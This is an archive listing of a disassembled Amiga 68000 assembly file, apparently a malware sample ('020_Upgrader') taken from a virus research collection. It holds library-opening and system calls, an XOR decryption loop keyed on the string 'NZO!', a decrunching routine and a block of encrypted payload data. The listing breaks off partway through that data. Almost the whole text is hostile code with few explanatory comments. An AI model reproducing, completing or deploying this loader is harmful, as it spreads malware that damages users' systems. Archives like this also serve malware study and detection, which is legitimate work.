home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / LisaFuckup20 / 020_Upgrader / 020_Upgrader.asm next >
Assembly Source File  |  2011-03-04  |  18KB  |  782 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5.  
  6.  
  7.  
  8.  
  9.     SECTION S_0,CODE
  10.  
  11. SECSTRT_0:
  12.     BSR.S    LAB_0004        ;000: 6128
  13.     BRA.S    LAB_0007        ;002: 605E
  14. LAB_0000:                                ;'NZO!'
  15.     UNLK    A2            ;004: 4E5A
  16.     DC.W    $4F21            ;006
  17. LAB_0001:
  18.     DC.W    $0000            ;008
  19.     ANDI.B    #$00,(A4)        ;00A: 02140000
  20.     BTST    D1,-(A4)        ;00E: 0324
  21. LAB_0002:
  22.     DC.W    $0072            ;010
  23.     BCS.S    LAB_000A        ;012: 6578
  24.     MOVEQ    #115,D4            ;014: 7873
  25.     DC.W    $7973            ;016
  26.     DC.W    $6C69            ;018
  27.     BHI.S    LAB_0005        ;01A: 622E
  28.     DC.W    $6C69            ;01C
  29.     BHI.S    LAB_000B        ;01E: 6272
  30.     BSR.S    LAB_000C        ;020: 6172
  31.     DC.W    $7900            ;022
  32. LAB_0003:
  33.     ADDQ    #1,D5            ;024: 5245
  34.     ADDQ    #4,(A0)+        ;026: 5858
  35.     DC.W    $0000            ;028
  36. LAB_0004:
  37.     MOVEM.L    D0/A0,-(A7)        ;02A: 48E78080            save args
  38.     LEA    LAB_0000(PC),A0        ;02E: 41FAFFD4            get 'NZO!' msg
  39.     BSR    LAB_001B        ;032: 610001C0            copy 'NZO!' to lab_0023
  40.     MOVE.L    LAB_0001(PC),D0        ;036: 203AFFD0            get $214
  41.     LEA    SECSTRT_1,A0        ;03A: 41F9000003FC        hunk 2 in a0
  42.     LEA    SECSTRT_2,A1        ;040: 43F900000610        hunk 3 in a1
  43.     BSR    LAB_001C        ;046: 610001AE
  44. LAB_0005:
  45.     LEA    SECSTRT_2,A0        ;04A: 41F900000610
  46.     CMPI.L    #$64435321,(A0)        ;050: 0C9064435321
  47.     BNE.S    LAB_0006        ;056: 6604
  48.     BSR    LAB_0024        ;058: 61000242
  49. LAB_0006:
  50.     MOVEM.L    (A7)+,D0/A0        ;05C: 4CDF0101
  51.     RTS                ;060: 4E75
  52. LAB_0007:
  53.     BSR.S    LAB_0008        ;062: 6102
  54.     RTS                ;064: 4E75
  55. LAB_0008:
  56.     MOVEM.L    D2-D7/A2-A6,-(A7)    ;066: 48E73F3E
  57.     MOVE.L    D0,D2            ;06A: 2400
  58.     MOVEA.L    A0,A3            ;06C: 2648
  59.     MOVEA.L    A7,A4            ;06E: 284F
  60.     MOVE.L    D2,D0            ;070: 2002
  61.     ADDQ    #7,D0            ;072: 5E40
  62.     ANDI.L    #$FFFFFFFE,D0        ;074: 0280FFFFFFFE
  63.     SUBA.L    D0,A7            ;07A: 9FC0
  64.     MOVEA.L    A7,A2            ;07C: 244F
  65.     MOVEA.L    A2,A1            ;07E: 224A
  66.     MOVE.L    A3,D0            ;080: 200B
  67.     BEQ.S    LAB_000E        ;082: 6720
  68.     MOVEQ    #32,D0            ;084: 7020
  69.     MOVEQ    #9,D1            ;086: 7209
  70.     MOVEQ    #10,D2            ;088: 740A
  71. LAB_0009:
  72.     MOVE.B    (A3)+,D3        ;08A: 161B
  73. LAB_000A:
  74.     BEQ.S    LAB_000E        ;08C: 6716
  75.     CMP.B    D2,D3            ;08E: B602
  76.     BEQ.S    LAB_000E        ;090: 6712
  77. LAB_000B:
  78.     CMP.B    D0,D3            ;092: B600
  79. LAB_000C:
  80.     BEQ.S    LAB_0009        ;094: 67F4
  81.     CMP.B    D1,D3            ;096: B601
  82.     BEQ.S    LAB_0009        ;098: 67F0
  83. LAB_000D:
  84.     MOVE.B    D3,(A1)+        ;09A: 12C3
  85.     MOVE.B    (A3)+,D3        ;09C: 161B
  86.     BEQ.S    LAB_000E        ;09E: 6704
  87.     CMP.B    D2,D3            ;0A0: B602
  88.     BNE.S    LAB_000D        ;0A2: 66F6
  89. LAB_000E:
  90.     CLR.B    (A1)            ;0A4: 4211
  91.     CMPA.L    A1,A2            ;0A6: B5C9
  92.     BEQ.S    LAB_000F        ;0A8: 6708
  93.     CMP.B    -(A1),D0        ;0AA: B021
  94.     BEQ.S    LAB_000E        ;0AC: 67F6
  95.     CMP.B    (A1),D1            ;0AE: B211
  96.     BEQ.S    LAB_000E        ;0B0: 67F2
  97. LAB_000F:
  98.     MOVEQ    #20,D7            ;0B2: 7E14
  99.     MOVEA.L    (ABSEXECBASE).W,A6    ;0B4: 2C780004
  100.     BSR    LAB_0016        ;0B8: 610000B0
  101.     TST.L    D0            ;0BC: 4A80
  102.     BEQ    LAB_0015        ;0BE: 670000A0
  103.     MOVEA.L    D0,A5            ;0C2: 2A40
  104.     LEA    LAB_0003(PC),A1        ;0C4: 43FAFF5E
  105.     JSR    -390(A6)        ;0C8: 4EAEFE7A
  106.     TST.L    D0            ;0CC: 4A80
  107.     BEQ    LAB_0014        ;0CE: 6700008C
  108.     LEA    LAB_0002+1(PC),A1    ;0D2: 43FAFF3D
  109.     MOVEQ    #0,D0            ;0D6: 7000
  110.     JSR    -552(A6)        ;0D8: 4EAEFDD8
  111.     TST.L    D0            ;0DC: 4A80
  112.     BEQ.S    LAB_0014        ;0DE: 677C
  113.     MOVE.L    D0,D6            ;0E0: 2C00
  114.     EXG    D6,A6            ;0E2: CD8E
  115.     MOVEA.L    A5,A0            ;0E4: 204D
  116.     SUBA.L    A1,A1            ;0E6: 93C9
  117.     MOVEQ    #0,D0            ;0E8: 7000
  118.     JSR    -144(A6)        ;0EA: 4EAEFF70
  119.     BEQ.S    LAB_0013        ;0EE: 6766
  120.     MOVEA.L    A0,A3            ;0F0: 2648
  121.     MOVE.L    #SECSTRT_2,40(A3)    ;0F2: 277C000006100028
  122.     MOVE.L    A2,44(A3)        ;0FA: 274A002C
  123.     MOVEQ    #2,D0            ;0FE: 7002
  124.     MOVEQ    #0,D1            ;100: 7200
  125.     JSR    -162(A6)        ;102: 4EAEFF5E
  126.     BEQ.S    LAB_0012        ;106: 6744
  127.     EXG    D6,A6            ;108: CD8E
  128.     MOVE.L    #$02040001,28(A3)    ;10A: 277C02040001001C
  129.     JSR    -132(A6)        ;112: 4EAEFF7C
  130.     LEA    LAB_0003(PC),A1        ;116: 43FAFF0C
  131.     JSR    -390(A6)        ;11A: 4EAEFE7A
  132.     MOVE.L    D0,D5            ;11E: 2A00
  133.     BEQ.S    LAB_0010        ;120: 6708
  134.     MOVEA.L    D0,A0            ;122: 2040
  135.     MOVEA.L    A3,A1            ;124: 224B
  136.     JSR    -366(A6)        ;126: 4EAEFE92
  137. LAB_0010:
  138.     JSR    -138(A6)        ;12A: 4EAEFF76
  139.     TST.L    D5            ;12E: 4A85
  140.     BEQ.S    LAB_0011        ;130: 670E
  141.     MOVEA.L    A5,A0            ;132: 204D
  142.     JSR    -384(A6)        ;134: 4EAEFE80
  143.     MOVEA.L    A5,A0            ;138: 204D
  144.     JSR    -372(A6)        ;13A: 4EAEFE8C
  145.     MOVEQ    #0,D7            ;13E: 7E00
  146. LAB_0011:
  147.     EXG    D6,A6            ;140: CD8E
  148.     MOVEA.L    A3,A0            ;142: 204B
  149.     MOVEQ    #2,D0            ;144: 7002
  150.     JSR    -156(A6)        ;146: 4EAEFF64
  151.     EXG    D6,A6            ;14A: CD8E
  152. LAB_0012:
  153.     EXG    D6,A6            ;14C: CD8E
  154.     MOVEA.L    A3,A0            ;14E: 204B
  155.     JSR    -150(A6)        ;150: 4EAEFF6A
  156.     EXG    D6,A6            ;154: CD8E
  157. LAB_0013:
  158.     MOVEA.L    D6,A1            ;156: 2246
  159.     JSR    -414(A6)        ;158: 4EAEFE62
  160. LAB_0014:
  161.     MOVEA.L    A5,A0            ;15C: 204D
  162.     BSR.S    LAB_001A        ;15E: 6166
  163. LAB_0015:
  164.     MOVE.L    D7,D0            ;160: 2007
  165.     MOVEA.L    A4,A7            ;162: 2E4C
  166.     MOVEM.L    (A7)+,D2-D7/A2-A6    ;164: 4CDF7CFC
  167.     RTS                ;168: 4E75
  168. LAB_0016:
  169.     MOVEM.L    D2/A2/A6,-(A7)        ;16A: 48E72022
  170.     MOVEA.L    (ABSEXECBASE).W,A6    ;16E: 2C780004
  171.     MOVEQ    #-1,D0            ;172: 70FF
  172.     JSR    -330(A6)        ;174: 4EAEFEB6
  173.     MOVEQ    #-1,D2            ;178: 74FF
  174.     CMP.B    D0,D2            ;17A: B400
  175.     BEQ.S    LAB_0018        ;17C: 6740
  176.     MOVE.L    D0,D2            ;17E: 2400
  177.     MOVEQ    #34,D0            ;180: 7022
  178.     MOVE.L    #$00010001,D1        ;182: 223C00010001
  179.     JSR    -198(A6)        ;188: 4EAEFF3A
  180.     TST.L    D0            ;18C: 4A80
  181.     BEQ.S    LAB_0017        ;18E: 6728
  182.     MOVEA.L    D0,A2            ;190: 2440
  183.     MOVE.B    #$04,8(A2)        ;192: 157C00040008
  184.     MOVE.B    D2,15(A2)        ;198: 1542000F
  185.     SUBA.L    A1,A1            ;19C: 93C9
  186.     JSR    -294(A6)        ;19E: 4EAEFEDA
  187.     MOVE.L    D0,16(A2)        ;1A2: 25400010
  188.     LEA    20(A2),A0        ;1A6: 41EA0014
  189.     MOVE.L    A0,28(A2)        ;1AA: 2548001C
  190.     LEA    24(A2),A1        ;1AE: 43EA0018
  191.     MOVE.L    A1,(A0)            ;1B2: 2089
  192.     MOVE.L    A2,D0            ;1B4: 200A
  193.     BRA.S    LAB_0019        ;1B6: 6008
  194. LAB_0017:
  195.     MOVE.L    D2,D0            ;1B8: 2002
  196.     JSR    -336(A6)        ;1BA: 4EAEFEB0
  197. LAB_0018:
  198.     MOVEQ    #0,D0            ;1BE: 7000
  199. LAB_0019:
  200.     MOVEM.L    (A7)+,D2/A2/A6        ;1C0: 4CDF4404
  201.     RTS                ;1C4: 4E75
  202. LAB_001A:
  203.     MOVEM.L    A2/A6,-(A7)        ;1C6: 48E70022
  204.     MOVEA.L    A0,A2            ;1CA: 2448
  205.     MOVEA.L    (ABSEXECBASE).W,A6    ;1CC: 2C780004
  206.     MOVEQ    #-1,D0            ;1D0: 70FF
  207.     MOVE.B    D0,8(A2)        ;1D2: 15400008
  208.     MOVE.L    D0,20(A2)        ;1D6: 25400014
  209.     MOVEQ    #0,D0            ;1DA: 7000
  210.     MOVE.B    15(A2),D0        ;1DC: 102A000F
  211.     JSR    -336(A6)        ;1E0: 4EAEFEB0
  212.     MOVEA.L    A2,A1            ;1E4: 224A
  213.     MOVEQ    #34,D0            ;1E6: 7022
  214.     JSR    -210(A6)        ;1E8: 4EAEFF2E
  215.     MOVEM.L    (A7)+,A2/A6        ;1EC: 4CDF4400
  216.     RTS                ;1F0: 4E75
  217.     DC.W    $0002            ;1F2
  218. LAB_001B:
  219.     BRA.S    LAB_001D        ;1F4: 6002
  220. LAB_001C:
  221.     BRA.S    LAB_001E        ;1F6: 6016
  222. LAB_001D:
  223.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;1F8: 48E7FFFE
  224.     LEA    LAB_0023(PC),A4        ;1FC: 49FA009A        get data place?
  225.     MOVE.B    (A0)+,(A4)+        ;200: 18D8        copy 'N' to lab_0023
  226.     MOVE.B    (A0)+,(A4)+        ;202: 18D8        copy 'Z' to lab_0023+1
  227.     MOVE.B    (A0)+,(A4)+        ;204: 18D8        copy 'O' to lab_0023+2
  228.     MOVE.B    (A0)+,(A4)+        ;206: 18D8        copy '!' to lab_0023+3
  229.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;208: 4CDF7FFF
  230.     RTS                ;20C: 4E75
  231. LAB_001E:
  232.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;20E: 48E7FFFE
  233.     LEA    0(A0,D0.L),A4        ;212: 49F00800        jump to position from start
  234.     LEA    LAB_0023(PC),A3        ;216: 47FA0080        get NZO msg
  235.     MOVEQ    #0,D6            ;21A: 7C00
  236.     MOVEQ    #0,D7            ;21C: 7E00
  237.     MOVEQ    #0,D1            ;21E: 7200
  238.     MOVEQ    #0,D2            ;220: 7400
  239.     MOVE.B    (A3)+,D6        ;222: 1C1B
  240.     MOVE.B    (A3)+,D1        ;224: 121B
  241.     MOVE.B    (A3)+,D2        ;226: 141B
  242.     MOVE.B    (A3)+,D7        ;228: 1E1B
  243.     BSR.S    LAB_001F        ;22A: 6106
  244.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;22C: 4CDF7FFF
  245.     RTS                ;230: 4E75
  246. LAB_001F:
  247.     MOVEA.L    A1,A3            ;232: 2649
  248.     MOVEA.L    A0,A2            ;234: 2448
  249.     BSR.S    LAB_0022        ;236: 611E
  250.     BSR.S    LAB_0020        ;238: 6106
  251.     MOVEA.L    A3,A1            ;23A: 224B
  252.     MOVEA.L    A2,A0            ;23C: 204A
  253.     RTS                ;23E: 4E75
  254. LAB_0020:
  255.     CMPA.L    A0,A4            ;240: B9C8
  256.     BEQ.S    LAB_0021        ;242: 6710
  257.     MOVE.B    (A0)+,D3        ;244: 1618
  258.     EOR.B    D6,D3            ;246: BD03
  259.     EOR.B    D1,D3            ;248: B303
  260.     EOR.B    D2,D3            ;24A: B503
  261.     EOR.B    D7,D3            ;24C: BF03
  262.     MOVE.B    D3,(A1)+        ;24E: 12C3
  263.     BSR.S    LAB_0022        ;250: 6104
  264.     BRA.S    LAB_0020        ;252: 60EC
  265. LAB_0021:
  266.     RTS                ;254: 4E75
  267. LAB_0022:
  268.     ADD    D7,D7            ;256: DE47
  269.     ADD    D6,D6            ;258: DC46
  270.     ADD    D2,D1            ;25A: D242
  271.     ADD    D2,D1            ;25C: D242
  272.     SWAP    D7            ;25E: 4847
  273.     SWAP    D6            ;260: 4846
  274.     SWAP    D2            ;262: 4842
  275.     SWAP    D1            ;264: 4841
  276.     LSL    D2,D1            ;266: E569
  277.     SWAP    D6            ;268: 4846
  278.     SWAP    D7            ;26A: 4847
  279.     ADD    D1,D6            ;26C: DC41
  280.     ADD    D1,D7            ;26E: DE41
  281.     ADD    D6,D6            ;270: DC46
  282.     LSL    D2,D6            ;272: E56E
  283.     ADD    D1,D2            ;274: D441
  284.     EXT    D1            ;276: 4881
  285.     LSL    #1,D1            ;278: E349
  286.     SWAP    D6            ;27A: 4846
  287.     SWAP    D1            ;27C: 4841
  288.     SWAP    D2            ;27E: 4842
  289.     ROXR.L    #3,D6            ;280: E696
  290.     ROXR.L    #3,D1            ;282: E691
  291.     ROXL.L    #3,D7            ;284: E797
  292.     ROXR.L    #3,D2            ;286: E692
  293.     NEG    D6            ;288: 4446
  294.     NEG    D1            ;28A: 4441
  295.     NEG    D2            ;28C: 4442
  296.     SWAP    D7            ;28E: 4847
  297.     SWAP    D6            ;290: 4846
  298.     SWAP    D2            ;292: 4842
  299.     SWAP    D1            ;294: 4841
  300.     RTS                ;296: 4E75
  301. LAB_0023:
  302.     ORI.B    #$00,D0            ;298: 00000000
  303. LAB_0024:
  304.     MOVEM.L    D2-D5/A2-A4,-(A7)    ;29C: 48E73C38
  305.     MOVEA.L    A0,A3            ;2A0: 2648
  306.     MOVEA.L    A0,A4            ;2A2: 2848
  307.     TST.L    (A0)+            ;2A4: 4A98
  308.     ADDA.L    (A0)+,A4        ;2A6: D9D8
  309.     ADDA.L    (A0)+,A3        ;2A8: D7D8
  310.     MOVEA.L    A3,A2            ;2AA: 244B
  311.     MOVE.L    (A2)+,-(A0)        ;2AC: 211A
  312.     MOVE.L    (A2)+,-(A0)        ;2AE: 211A
  313.     MOVE.L    (A2)+,-(A0)        ;2B0: 211A
  314.     MOVE.L    (A2)+,D2        ;2B2: 241A
  315.     MOVE    (A2)+,D3        ;2B4: 361A
  316.     BMI.S    LAB_0025        ;2B6: 6B02
  317.     SUBQ.L    #1,A3            ;2B8: 538B
  318. LAB_0025:
  319.     LEA    -28(A7),A7        ;2BA: 4FEFFFE4
  320.     MOVEA.L    A7,A1            ;2BE: 224F
  321.     MOVEQ    #6,D0            ;2C0: 7006
  322. LAB_0026:
  323.     MOVE.L    (A2)+,(A1)+        ;2C2: 22DA
  324.     DBF    D0,LAB_0026        ;2C4: 51C8FFFC
  325.     MOVEA.L    A7,A1            ;2C8: 224F
  326.     BRA.S    LAB_0027        ;2CA: 6004
  327.     MOVEQ    #0,D0            ;2CC: 7000
  328.     RTS                ;2CE: 4E75
  329. LAB_0027:
  330.     TST.L    D2            ;2D0: 4A82
  331.     BEQ.S    LAB_0029        ;2D2: 6706
  332. LAB_0028:
  333.     MOVE.B    -(A3),-(A4)        ;2D4: 1923
  334.     SUBQ.L    #1,D2            ;2D6: 5382
  335.     BNE.S    LAB_0028        ;2D8: 66FA
  336. LAB_0029:
  337.     CMPA.L    A4,A0            ;2DA: B1CC
  338.     BCS.S    LAB_002B        ;2DC: 6514
  339.     LEA    28(A7),A7        ;2DE: 4FEF001C
  340.     MOVEQ    #-1,D0            ;2E2: 70FF
  341.     CMPA.L    A3,A0            ;2E4: B1CB
  342.     BEQ.S    LAB_002A        ;2E6: 6702
  343.     MOVEQ    #0,D0            ;2E8: 7000
  344. LAB_002A:
  345.     MOVEM.L    (A7)+,D2-D5/A2-A4    ;2EA: 4CDF1C3C
  346.     TST.L    D0            ;2EE: 4A80
  347.     RTS                ;2F0: 4E75
  348. LAB_002B:
  349.     ADD.B    D3,D3            ;2F2: D603
  350.     BNE.S    LAB_002C        ;2F4: 6604
  351.     MOVE.B    -(A3),D3        ;2F6: 1623
  352.     ADDX.B    D3,D3            ;2F8: D703
  353. LAB_002C:
  354.     BCC.S    LAB_0038        ;2FA: 6468
  355.     ADD.B    D3,D3            ;2FC: D603
  356.     BNE.S    LAB_002D        ;2FE: 6604
  357.     MOVE.B    -(A3),D3        ;300: 1623
  358.     ADDX.B    D3,D3            ;302: D703
  359. LAB_002D:
  360.     BCC.S    LAB_0037        ;304: 6458
  361.     ADD.B    D3,D3            ;306: D603
  362.     BNE.S    LAB_002E        ;308: 6604
  363.     MOVE.B    -(A3),D3        ;30A: 1623
  364.     ADDX.B    D3,D3            ;30C: D703
  365. LAB_002E:
  366.     BCC.S    LAB_0036        ;30E: 6448
  367.     ADD.B    D3,D3            ;310: D603
  368.     BNE.S    LAB_002F        ;312: 6604
  369.     MOVE.B    -(A3),D3        ;314: 1623
  370.     ADDX.B    D3,D3            ;316: D703
  371. LAB_002F:
  372.     BCC.S    LAB_0035        ;318: 6438
  373.     MOVEQ    #0,D4            ;31A: 7800
  374.     ADD.B    D3,D3            ;31C: D603
  375.     BNE.S    LAB_0030        ;31E: 6604
  376.     MOVE.B    -(A3),D3        ;320: 1623
  377.     ADDX.B    D3,D3            ;322: D703
  378. LAB_0030:
  379.     BCC.S    LAB_0031        ;324: 6408
  380.     MOVE.B    -(A3),D4        ;326: 1823
  381.     MOVEQ    #3,D0            ;328: 7003
  382.     SUBQ.B    #1,D4            ;32A: 5304
  383.     BRA.S    LAB_0039        ;32C: 603A
  384. LAB_0031:
  385.     ADD.B    D3,D3            ;32E: D603
  386.     BNE.S    LAB_0032        ;330: 6604
  387.     MOVE.B    -(A3),D3        ;332: 1623
  388.     ADDX.B    D3,D3            ;334: D703
  389. LAB_0032:
  390.     ADDX.B    D4,D4            ;336: D904
  391.     ADD.B    D3,D3            ;338: D603
  392.     BNE.S    LAB_0033        ;33A: 6604
  393.     MOVE.B    -(A3),D3        ;33C: 1623
  394.     ADDX.B    D3,D3            ;33E: D703
  395. LAB_0033:
  396.     ADDX.B    D4,D4            ;340: D904
  397.     ADD.B    D3,D3            ;342: D603
  398.     BNE.S    LAB_0034        ;344: 6604
  399.     MOVE.B    -(A3),D3        ;346: 1623
  400.     ADDX.B    D3,D3            ;348: D703
  401. LAB_0034:
  402.     ADDX.B    D4,D4            ;34A: D904
  403.     ADDQ.B    #5,D4            ;34C: 5A04
  404.     MOVEQ    #3,D0            ;34E: 7003
  405.     BRA.S    LAB_0039        ;350: 6016
  406. LAB_0035:
  407.     MOVEQ    #4,D4            ;352: 7804
  408.     MOVEQ    #3,D0            ;354: 7003
  409.     BRA.S    LAB_0039        ;356: 6010
  410. LAB_0036:
  411.     MOVEQ    #3,D4            ;358: 7803
  412.     MOVEQ    #2,D0            ;35A: 7002
  413.     BRA.S    LAB_0039        ;35C: 600A
  414. LAB_0037:
  415.     MOVEQ    #2,D4            ;35E: 7802
  416.     MOVEQ    #1,D0            ;360: 7001
  417.     BRA.S    LAB_0039        ;362: 6004
  418. LAB_0038:
  419.     MOVEQ    #1,D4            ;364: 7801
  420.     MOVEQ    #0,D0            ;366: 7000
  421. LAB_0039:
  422.     MOVEQ    #0,D5            ;368: 7A00
  423.     MOVE    D0,D1            ;36A: 3200
  424.     ADD.B    D3,D3            ;36C: D603
  425.     BNE.S    LAB_003A        ;36E: 6604
  426.     MOVE.B    -(A3),D3        ;370: 1623
  427.     ADDX.B    D3,D3            ;372: D703
  428. LAB_003A:
  429.     BCC.S    LAB_003D        ;374: 6416
  430.     ADD.B    D3,D3            ;376: D603
  431.     BNE.S    LAB_003B        ;378: 6604
  432.     MOVE.B    -(A3),D3        ;37A: 1623
  433.     ADDX.B    D3,D3            ;37C: D703
  434. LAB_003B:
  435.     BCC.S    LAB_003C        ;37E: 6408
  436.     MOVE.B    LAB_0047(PC,D0.W),D5    ;380: 1A3B006A
  437.     ADDQ.B    #8,D0            ;384: 5000
  438.     BRA.S    LAB_003D        ;386: 6004
  439. LAB_003C:
  440.     MOVEQ    #2,D5            ;388: 7A02
  441.     ADDQ.B    #4,D0            ;38A: 5800
  442. LAB_003D:
  443.     MOVE.B    LAB_0048(PC,D0.W),D0    ;38C: 103B0062
  444. LAB_003E:
  445.     ADD.B    D3,D3            ;390: D603
  446.     BNE.S    LAB_003F        ;392: 6604
  447.     MOVE.B    -(A3),D3        ;394: 1623
  448.     ADDX.B    D3,D3            ;396: D703
  449. LAB_003F:
  450.     ADDX    D2,D2            ;398: D542
  451.     SUBQ.B    #1,D0            ;39A: 5300
  452.     BNE.S    LAB_003E        ;39C: 66F2
  453.     ADD    D5,D2            ;39E: D445
  454.     MOVEQ    #0,D5            ;3A0: 7A00
  455.     MOVEA.L    D5,A2            ;3A2: 2445
  456.     MOVE    D1,D0            ;3A4: 3001
  457.     ADD.B    D3,D3            ;3A6: D603
  458.     BNE.S    LAB_0040        ;3A8: 6604
  459.     MOVE.B    -(A3),D3        ;3AA: 1623
  460.     ADDX.B    D3,D3            ;3AC: D703
  461. LAB_0040:
  462.     BCC.S    LAB_0043        ;3AE: 641A
  463.     ADD    D1,D1            ;3B0: D241
  464.     ADD.B    D3,D3            ;3B2: D603
  465.     BNE.S    LAB_0041        ;3B4: 6604
  466.     MOVE.B    -(A3),D3        ;3B6: 1623
  467.     ADDX.B    D3,D3            ;3B8: D703
  468. LAB_0041:
  469.     BCC.S    LAB_0042        ;3BA: 6408
  470.     MOVEA    8(A1,D1.W),A2        ;3BC: 34711008
  471.     ADDQ.B    #8,D0            ;3C0: 5000
  472.     BRA.S    LAB_0043        ;3C2: 6006
  473. LAB_0042:
  474.     MOVEA    0(A1,D1.W),A2        ;3C4: 34711000
  475.     ADDQ.B    #4,D0            ;3C8: 5800
  476. LAB_0043:
  477.     MOVE.B    16(A1,D0.W),D0        ;3CA: 10310010
  478. LAB_0044:
  479.     ADD.B    D3,D3            ;3CE: D603
  480.     BNE.S    LAB_0045        ;3D0: 6604
  481.     MOVE.B    -(A3),D3        ;3D2: 1623
  482.     ADDX.B    D3,D3            ;3D4: D703
  483. LAB_0045:
  484.     ADDX.L    D5,D5            ;3D6: DB85
  485.     SUBQ.B    #1,D0            ;3D8: 5300
  486.     BNE.S    LAB_0044        ;3DA: 66F2
  487.     ADDQ    #1,A2            ;3DC: 524A
  488.     ADDA.L    D5,A2            ;3DE: D5C5
  489.     ADDA.L    A4,A2            ;3E0: D5CC
  490. LAB_0046:
  491.     MOVE.B    -(A2),-(A4)        ;3E2: 1922
  492.     DBF    D4,LAB_0046        ;3E4: 51CCFFFC
  493.     BRA    LAB_0027        ;3E8: 6000FEE6
  494. LAB_0047:
  495.     DC.W    $060A            ;3EC
  496.     DC.W    $0A12            ;3EE
  497. LAB_0048:
  498.     BTST    D0,D1            ;3F0: 0101
  499.     BTST    D0,D1            ;3F2: 0101
  500.     DC.W    $0203            ;3F4
  501.     BTST    D1,D4            ;3F6: 0304
  502.     DC.W    $0405            ;3F8
  503.     DC.W    $070E            ;3FA
  504.  
  505.  
  506.     SECTION S_1,DATA
  507.  
  508. SECSTRT_1:
  509.     DC.W    $433D            ;3FC
  510.     DC.W    $5387            ;3FE
  511.     DC.W    $101A            ;400
  512.     DC.W    $B881            ;402
  513.     DC.W    $A412            ;404
  514.     DC.W    $E9DF            ;406
  515.     DC.W    $E0CD            ;408
  516.     DC.W    $B4B3            ;40A
  517.     DC.W    $2BFC            ;40C
  518.     DC.W    $DDFA            ;40E
  519.     DC.W    $E473            ;410
  520.     DC.W    $B00B            ;412
  521.     DC.W    $8BC6            ;414
  522.     DC.W    $BB42            ;416
  523.     DC.W    $966D            ;418
  524.     DC.W    $5C5C            ;41A
  525.     DC.W    $64B2            ;41C
  526.     DC.W    $CB61            ;41E
  527.     DC.W    $C95C            ;420
  528.     DC.W    $E66A            ;422
  529.     DC.W    $0387            ;424
  530.     DC.W    $042B            ;426
  531.     DC.W    $E4BE            ;428
  532.     DC.W    $D0A7            ;42A
  533.     DC.W    $64E3            ;42C
  534.     DC.W    $F0A4            ;42E
  535.     DC.W    $7492            ;430
  536.     DC.W    $0A87            ;432
  537.     DC.W    $6320            ;434
  538.     DC.W    $BE58            ;436
  539.     DC.W    $C18F            ;438
  540.     DC.W    $C7E5            ;43A
  541.     DC.W    $DD23            ;43C
  542.     DC.W    $F6DB            ;43E
  543.     DC.W    $8984            ;440
  544.     DC.W    $A5AE            ;442
  545.     DC.W    $EA3B            ;444
  546.     DC.W    $B3E7            ;446
  547.     DC.W    $D0AA            ;448
  548.     DC.W    $89BD            ;44A
  549.     DC.W    $8831            ;44C
  550.     DC.W    $F6E4            ;44E
  551.     DC.W    $FD63            ;450
  552.     DC.W    $292B            ;452
  553.     DC.W    $FB5A            ;454
  554.     DC.W    $FFA5            ;456
  555.     DC.W    $17FD            ;458
  556.     DC.W    $AF39            ;45A
  557.     DC.W    $513E            ;45C
  558.     DC.W    $BD6E            ;45E
  559.     DC.W    $EA30            ;460
  560.     DC.W    $8E0F            ;462
  561.     DC.W    $A317            ;464
  562.     DC.W    $F1F5            ;466
  563.     DC.W    $5FF2            ;468
  564.     DC.W    $1092            ;46A
  565.     DC.W    $A2D6            ;46C
  566.     DC.W    $2C48            ;46E
  567.     DC.W    $4C0E            ;470
  568.     DC.W    $83D1            ;472
  569.     DC.W    $6912            ;474
  570.     DC.W    $6794            ;476
  571.     DC.W    $0B4D            ;478
  572.     DC.W    $5D3E            ;47A
  573.     DC.W    $DE9D            ;47C
  574.     DC.W    $A805            ;47E
  575.     DC.W    $602A            ;480
  576.     DC.W    $0107            ;482
  577.     DC.W    $C165            ;484
  578.     DC.W    $49DB            ;486
  579.     DC.W    $834A            ;488
  580.     DC.W    $844B            ;48A
  581.     DC.W    $D184            ;48C
  582.     DC.W    $9050            ;48E
  583.     DC.W    $11CE            ;490
  584.     DC.W    $1307            ;492
  585.     DC.W    $1872            ;494
  586.     DC.W    $9056            ;496
  587.     DC.W    $2F82            ;498
  588.     DC.W    $C1F8            ;49A
  589.     DC.W    $EFE9            ;49C
  590.     DC.W    $CF5E            ;49E
  591.     DC.W    $2825            ;4A0
  592.     DC.W    $57B9            ;4A2
  593.     DC.W    $DC3C            ;4A4
  594.     DC.W    $7809            ;4A6
  595.     DC.W    $A620            ;4A8
  596.     DC.W    $DF3E            ;4AA
  597.     DC.W    $6F82            ;4AC
  598.     DC.W    $FE73            ;4AE
  599.     DC.W    $C37C            ;4B0
  600.     DC.W    $2A94            ;4B2
  601.     DC.W    $F03E            ;4B4
  602.     DC.W    $66A7            ;4B6
  603.     DC.W    $9122            ;4B8
  604.     DC.W    $3104            ;4BA
  605.     DC.W    $A227            ;4BC
  606.     DC.W    $61B7            ;4BE
  607.     DC.W    $964D            ;4C0
  608.     DC.W    $DE5C            ;4C2
  609.     DC.W    $5F36            ;4C4
  610.     DC.W    $702A            ;4C6
  611.     DC.W    $4E90            ;4C8
  612.     DC.W    $0D38            ;4CA
  613.     DC.W    $2B1E            ;4CC
  614.     DC.W    $8102            ;4CE
  615.     DC.W    $26BE            ;4D0
  616.     DC.W    $D0E9            ;4D2
  617.     DC.W    $5E59            ;4D4
  618.     DC.W    $8B06            ;4D6
  619.     DC.W    $FC32            ;4D8
  620.     DC.W    $8C20            ;4DA
  621.     DC.W    $DD88            ;4DC
  622.     DC.W    $3DFE            ;4DE
  623.     DC.W    $731B            ;4E0
  624.     DC.W    $DBAF            ;4E2
  625.     DC.W    $FBEE            ;4E4
  626.     DC.W    $8B14            ;4E6
  627.     DC.W    $8EF1            ;4E8
  628.     DC.W    $A2C5            ;4EA
  629.     DC.W    $B8CC            ;4EC
  630.     DC.W    $CC6A            ;4EE
  631.     DC.W    $E0CA            ;4F0
  632.     DC.W    $F2A0            ;4F2
  633.     DC.W    $7288            ;4F4
  634.     DC.W    $FE90            ;4F6
  635.     DC.W    $2CD0            ;4F8
  636.     DC.W    $87A9            ;4FA
  637.     DC.W    $9995            ;4FC
  638.     DC.W    $DAE5            ;4FE
  639.     DC.W    $2C82            ;500
  640.     DC.W    $D4AA            ;502
  641.     DC.W    $E189            ;504
